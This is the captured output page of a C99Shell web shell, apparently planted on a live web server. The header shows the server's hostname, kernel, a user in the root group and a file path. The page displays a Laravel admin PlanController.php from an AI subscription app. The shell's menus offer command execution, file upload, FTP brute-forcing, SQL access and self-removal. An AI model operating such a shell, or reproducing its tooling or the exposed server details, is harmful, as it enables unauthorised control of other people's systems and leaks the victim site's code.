!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PlanController.php (15.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\BillingRequest;
use 
App\Models\CustomerPlan;
use 
App\Models\Plan;
use 
Illuminate\Http\Request;
use 
Carbon\Carbon;

class 
PlanController extends Controller
{
    public function 
index(){
        return 
view('admin.plans.index');
    }
    public function 
create(){
        return 
view('admin.plans.create');
    }
    public function 
store(Request $request){
       
$request->validate([
           
'title'=>'required',
           
'price'=>'required|numeric',
           
'word_limit'=>'numeric',
           
'code_limit'=>'numeric',
           
'image_limit'=>'numeric',
           
'description'=>'required|max:255',
           
'trial'=>'required|in:yes,no',
           
'recurring_type'=>'required|in:weekly,monthly,yearly',
           
'support'=>'required|in:yes,no',
           
'status'=>'required|in:active,inactive',
           
'is_word_limit'=>'required|in:yes,no',
           
'is_code_limit'=>'required|in:yes,no',
           
'is_image_limit'=>'required|in:yes,no',
       ]);

        if (
$request->is_word_limit=='no' && !$request->word_limit){
            return 
back()->withErrors(['msg'=>'Invalid word limit']);
        }

        if (
$request->is_code_limit=='no' && !$request->code_limit){
            return 
back()->withErrors(['msg'=>'Invalid code limit']);
        }

        if (
$request->is_image_limit=='no' && !$request->image_limit){
            return 
back()->withErrors(['msg'=>'Invalid image limit']);
        }

        
auth()->user()->plans()->create($request->all());

      return 
redirect()->route('admin.plans.index')->with('success''Plan successfully created');
    }
    public function 
getAll(){
        
$plans auth()->user()->plans()->select(['id','admin_id','title','description','price','trial','recurring_type','support','status','created_at','word_limit','is_word_limit','code_limit','is_code_limit','image_limit','is_image_limit']);
        return 
datatables()->of($plans)

            ->
addColumn('plan_details', function ($q) {
                
$expireDate=now();
                if(
$q->recurring_type=='weekly'){
                    
$expireDate=new Carbon($q->created_at);
                    
$expireDate->addWeek();
                }else if(
$q->recurring_type=='monthly'){
                    
$expireDate= new Carbon($q->created_at);
                    
$expireDate->addMonth();
                }else if(
$q->recurring_type=='yearly'){
                    
$expireDate=new Carbon($q->created_at);
                    
$expireDate->addYear();
                }

                
$title='<p class="d-block m-0">'.'<b>'.trans('admin.plan_name').'</b>'.': '.'<span class="text-muted">'.urlencode($q->title).'</span>'.'</p>';

                
$description='<p class="d-block m-0">'.'<b>'.trans('admin.description').'</b>'.': '."<span class='show-more text-muted' style='max-width: 500px;white-space: pre-wrap'>".'<span>'.urlencode($q->description).'</span>'."</span>".'</p>';

                
$price='<p class="d-block m-0">'.'<b>'.trans('admin.price').'</b>'.': '.'<span class="text-muted">'.formatNumberWithCurrSymbol($q->price).'</span>'.'</p>';

                
$recurring_type='<p class="d-block m-0">'.'<b>'.trans('admin.recurring_type').'</b>'.': '.'<span class="text-muted">'.ucwords(str_replace('_',' '$q->recurring_type)).'</span>'.'</p>';

                
$expiredAt='<p class="d-block m-0">'.'<b>'.trans('admin.expired_at').'</b>'.': ''<span class="text-muted">'.formatDate($expireDate).'</span>'.'</p>';

                return 
'<div class="d-block">'.$title.$price.$recurring_type.$expiredAt.$description.'</div>';
            })

            ->
addColumn('wallets', function ($q) {
                if (
$q->is_word_limit == 'no'){
                    
$wordLimit='<p class="m-0">'.'<b>'.trans('admin.word_limit').'</b>'.': '.'<span class="text-muted">'.$q->word_limit.'</span>'.'</p>';
                }else{
                    
$wordLimit='<p class="m-0">'.'<b>'.trans('admin.word_limit').'</b>'.': '.'<span class="text-muted">'.'Unlimited'.'</span>'.'</p>';
                }
                if (
$q->is_code_limit == 'no'){
                    
$codeLimit='<p class="m-0">'.'<b>'.trans('admin.code_limit').'</b>'.': '.'<span class="text-muted">'.$q->code_limit.'</span>'.'</p>';
                }else{
                    
$codeLimit='<p class="m-0">'.'<b>'.trans('admin.code_limit').'</b>'.': '.'<span class="text-muted">'.'Unlimited'.'</span>'.'</';
                }
                if (
$q->is_image_limit == 'no'){
                    
$imageLimit='<p class="m-0">'.'<b>'.trans('admin.image_limit').'</b>'.': '.'<span class="text-muted">'.$q->image_limit.'</span>'.'</p>';
                }else{
                    
$imageLimit='<p class="m-0">'.'<b>'.trans('admin.image_limit').'</b>'.': '.'<span class="text-muted">'.'Unlimited'.'</span>'.'</p>';
                }

                return 
'<div>'.$wordLimit.$codeLimit.$imageLimit.'</div';

            })


            ->
addColumn('trail', function ($q) {
                return 
ucfirst($q->trial);

            })

            ->
addColumn('support', function ($q) {
                return 
ucfirst($q->support);
            })

            ->
addColumn('status', function ($q) {

                if(
$q->status=='Active'){
                    
$status='<span class="badge bg-green custom-badge">Active</span>';
                }else{
                    
$status='<span class="badge bg-danger custom-badge">Inactive</span>';
                }
                return 
$status;
            })

            ->
addColumn('action', function (Plan $q) {

                return 
'<div class="btn-group-vertical">
                                            <div class="btn-group">
                                            <i class="fa fa-ellipsis-h text-success" type="button" data-toggle="dropdown" aria-expanded="false"></i>
                                            <ul class="dropdown-menu" style="">
                                            <li><a class="dropdown-item " href="'
.route('admin.plans.edit',[$q]). '" >Edit</a></li>
                                             <li><a class="dropdown-item" href="#" data-message="Are you sure you want to delete ?"
                                        data-action='
.route('admin.plans.destroy',[$q]).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" >Delete</a></li>
                                            </ul>
                                            </div>
                                            </div>' 
;

            })

            ->
rawColumns(['action','status','wallets''plan_details'])
            ->
toJson();
    }

    public function 
approvedPlan(){
        return 
view('admin.plans.approved_plan');
    }
    public function 
getAllApprovedPlan()
    {
        
$approvedPlan=CustomerPlan::where('status''approved')->pluck('plan_id');
        
$plans auth()->user()->plans()->whereIn('id'$approvedPlan);

        return 
datatables()->of($plans)
            ->
addColumn('plan_details', function ($q) {
                
$expireDate=now();
                if(
$q->recurring_type=='weekly'){
                    
$expireDate=new Carbon($q->created_at);
                    
$expireDate->addWeek();
                }else if(
$q->recurring_type=='monthly'){
                    
$expireDate= new Carbon($q->created_at);
                    
$expireDate->addMonth();
                }else if(
$q->recurring_type=='yearly'){
                    
$expireDate=new Carbon($q->created_at);
                    
$expireDate->addYear();
                }

                
$title='<p class="d-block m-0">'.'<b>'.trans('admin.plan_name').'</b>'.': '.'<span class="text-muted">'.urlencode($q->title).'</span>'.'</p>';

                
$description='<p class="d-block m-0">'.'<b>'.trans('admin.description').'</b>'.': '."<span class='show-more text-muted' style='max-width: 500px;white-space: pre-wrap'>".'<span>'.urlencode($q->description).'</span>'."</span>".'</p>';

                
$price='<p class="d-block m-0">'.'<b>'.trans('admin.price').'</b>'.': '.'<span class="text-muted">'.formatNumberWithCurrSymbol($q->price).'</span>'.'</p>';

                
$recurring_type='<p class="d-block m-0">'.'<b>'.trans('admin.recurring_type').'</b>'.': '.'<span class="text-muted">'.ucwords(str_replace('_',' '$q->recurring_type)).'</span>'.'</p>';

                
$expiredAt='<p class="d-block m-0">'.'<b>'.trans('admin.expired_at').'</b>'.': ''<span class="text-muted">'.formatDate($expireDate).'</span>'.'</p>';

                return 
'<div class="d-block">'.$title.$price.$recurring_type.$expiredAt.$description.'</div>';
            })

            ->
addColumn('wallets', function ($q) {
                if (
$q->is_word_limit == 'no'){
                    
$wordLimit='<p class="m-0">'.'<b>'.trans('admin.word_limit').'</b>'.': '.'<span class="text-muted">'.$q->word_limit.'</span>'.'</p>';
                }else{
                    
$wordLimit='<p class="m-0">'.'<b>'.trans('admin.word_limit').'</b>'.': '.'<span class="text-muted">'.'Unlimited'.'</span>'.'</p>';
                }
                if (
$q->is_code_limit == 'no'){
                    
$codeLimit='<p class="m-0">'.'<b>'.trans('admin.code_limit').'</b>'.': '.'<span class="text-muted">'.$q->code_limit.'</span>'.'</p>';
                }else{
                    
$codeLimit='<p class="m-0">'.'<b>'.trans('admin.code_limit').'</b>'.': '.'<span class="text-muted">'.'Unlimited'.'</span>'.'</';
                }
                if (
$q->is_image_limit == 'no'){
                    
$imageLimit='<p class="m-0">'.'<b>'.trans('admin.image_limit').'</b>'.': '.'<span class="text-muted">'.$q->image_limit.'</span>'.'</p>';
                }else{
                    
$imageLimit='<p class="m-0">'.'<b>'.trans('admin.image_limit').'</b>'.': '.'<span class="text-muted">'.'Unlimited'.'</span>'.'</p>';
                }

                return 
'<div>'.$wordLimit.$codeLimit.$imageLimit.'</div';

            })

            ->
addColumn('trail', function ($q) {
                return 
ucfirst($q->trial);
            })
            ->
addColumn('support', function ($q) {
                return 
ucfirst($q->support);
            })
            ->
addColumn('status', function ($q) {

                if (
$q->status == 'Active') {
                    
$status '<span class="badge bg-green custom-badge">Active</span>';
                } else {
                    
$status '<span class="badge bg-danger custom-badge">Inactive</span>';
                }
                return 
$status;
            })

            ->
rawColumns(['status''wallets''plan_details'])
            ->
toJson();
    }
    public function 
edit(Plan $plan){
        
$data['plan'] = $plan;
        return 
view('admin.plans.edit',$data);
    }
    public function 
update(Plan $planRequest $request){
        
$request->validate([
            
'title'=>'required',
            
'price'=>'required|numeric',
            
'word_limit'=>'numeric',
            
'code_limit'=>'numeric',
            
'image_limit'=>'numeric',
            
'description'=>'required|max:255',
            
'trial'=>'required|in:yes,no',
            
'recurring_type'=>'required|in:weekly,monthly,yearly',
            
'support'=>'required|in:yes,no',
            
'status'=>'required|in:active,inactive',
            
'is_word_limit'=>'required|in:yes,no',
            
'is_code_limit'=>'required|in:yes,no',
            
'is_image_limit'=>'required|in:yes,no',
        ]);

        if (
$request->is_word_limit=='no' && !$request->word_limit){
            return 
back()->withErrors(['msg'=>'Invalid word limit']);
        }

        if (
$request->is_code_limit=='no' && !$request->code_limit){
            return 
back()->withErrors(['msg'=>'Invalid code limit']);
        }

        if (
$request->is_image_limit=='no' && !$request->image_limit){
            return 
back()->withErrors(['msg'=>'Invalid image limit']);
        }

        
$plan->update($request->all());

        return 
redirect()->route('admin.plans.index')->with('success''Plan successfully updated');
    }

    public function 
destroy(Plan $plan){
        
$plan->delete();

        return 
back()->with('success','Plan successfully deleted');
    }
    public function 
plan_request(){
        return 
view('admin.plans.requests');
    }
    public function 
getRequests()
    {
        
$planRequests CustomerPlan::where('status','pending')->select(['id','customer_id','plan_id','transaction_id','payment_method','status']);
        return 
datatables()->of($planRequests)
            ->
addColumn('title', function (CustomerPlan $q) {
                return 
$q->plan->title;
            })
            ->
addColumn('price', function (CustomerPlan $q) {
                return 
formatNumberWithCurrSymbol($q->plan->price);
            })
            ->
addColumn('transaction_id', function (CustomerPlan $q) {
                return 
$q->transaction_id;
            })
            ->
addColumn('payment_method', function (CustomerPlan $q) {
                return 
ucfirst($q->payment_method);
            })
            ->
addColumn('status', function (CustomerPlan $q) {
                if(
$q->status=='approved'){
                    
$status='<strong class="text-success">'.ucfirst($q->status).'</strong>';
                }else{
                    
$status='<strong class="text-danger">'.ucfirst($q->status).'</strong>';
                }
                return 
$status;
            })
            ->
addColumn('action', function (CustomerPlan $q) {
                if(
$q->status=='pending') {
                    return 
'<button class="mr-1 btn btn-sm btn-info" data-message="Are you sure you want to assign <b>\'' $q->plan->title '\'</b> to \'' $q->customer->full_name '\' ?"
                                        data-action=' 
route('admin.customer.plan.change') . '
                                        data-input={"id":"' 
$q->plan_id '","customer_id":"' $q->customer_id '","plan_request_id":"' $q->id '","status":"approved"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Approve</button>' 
.
                        
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to reject <b>\'' $q->plan->title '\'</b> for \'' $q->customer->full_name '\' ?"
                                        data-action=' 
route('admin.customer.plan.change') . '
                                        data-input={"id":"' 
$q->plan_id '","customer_id":"' $q->customer_id '","plan_request_id":"' $q->id '","status":"rejected"}
                                        data-toggle="modal" data-target="#modal-confirm"  >Reject</button>'
;
                }else if(
$q->status=='approved'){
                    return 
'<button class="mr-1 btn btn-sm btn-success disabled" disabled  >Approved</button>';
                }else{
                    return 
'<button class="mr-1 btn btn-sm btn-danger disabled" disabled  >Rejected</button>';
                }
            })
            ->
addColumn('customer', function (CustomerPlan $q) {
                return 
"<a href='" route('admin.customers.edit', [$q->customer_id]) . "'>" $q->customer->full_name "</a>";
            })
            ->
rawColumns(['action''customer','status'])
            ->
toJson();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--